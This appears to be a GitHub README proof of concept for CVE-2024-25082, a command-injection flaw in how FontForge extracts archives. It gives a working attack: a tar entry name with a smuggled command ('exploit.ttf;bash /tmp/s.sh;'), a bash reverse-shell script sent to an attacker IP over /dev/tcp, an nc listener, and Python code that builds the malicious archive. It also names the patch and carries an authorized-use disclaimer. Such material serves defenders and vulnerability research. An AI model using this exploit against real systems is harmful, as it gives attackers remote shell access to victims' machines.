alielkhatteb/cve-2024-25082_cve-2024-25081FontForge Splinefont Crafted Filename Command Injection Vulnerability
| CVE | Vector | Trigger |
|---|
| CVE-2024-25081 | Crafted filename | Direct file open |
| CVE-2024-25082 | Crafted archive filename | TAR/ZIP/GZ/BZ2 extraction |
This PoC targets CVE-2024-25082 — FontForge's automatic archive extraction passes filenames to a shell without sanitization, allowing a semicolon-delimited payload embedded in a TAR entry name to execute arbitrary commands.
FontForge supports opening font files directly from archives. When extracting a TAR archive, the Splinefont component constructs a shell command using the filename from the archive entry. Because the filename is not sanitized, a semicolon (;) in the entry name breaks out of the expected command and injects arbitrary shell instructions.
Malicious TAR entry name:
exploit.ttf;bash /tmp/s.sh;
When FontForge processes this archive, the shell interprets this as:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (adjust as needed)tarfile module)netcat on attacker machinenc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
A reverse shell will connect back to your listener.
Fixed in FontForge post-20230101 via PR #5367. Upgrade to the latest release.
sudo apt upgrade fontforgeThis Proof of Concept (PoC) code is provided for educational and authorized penetration testing purposes only.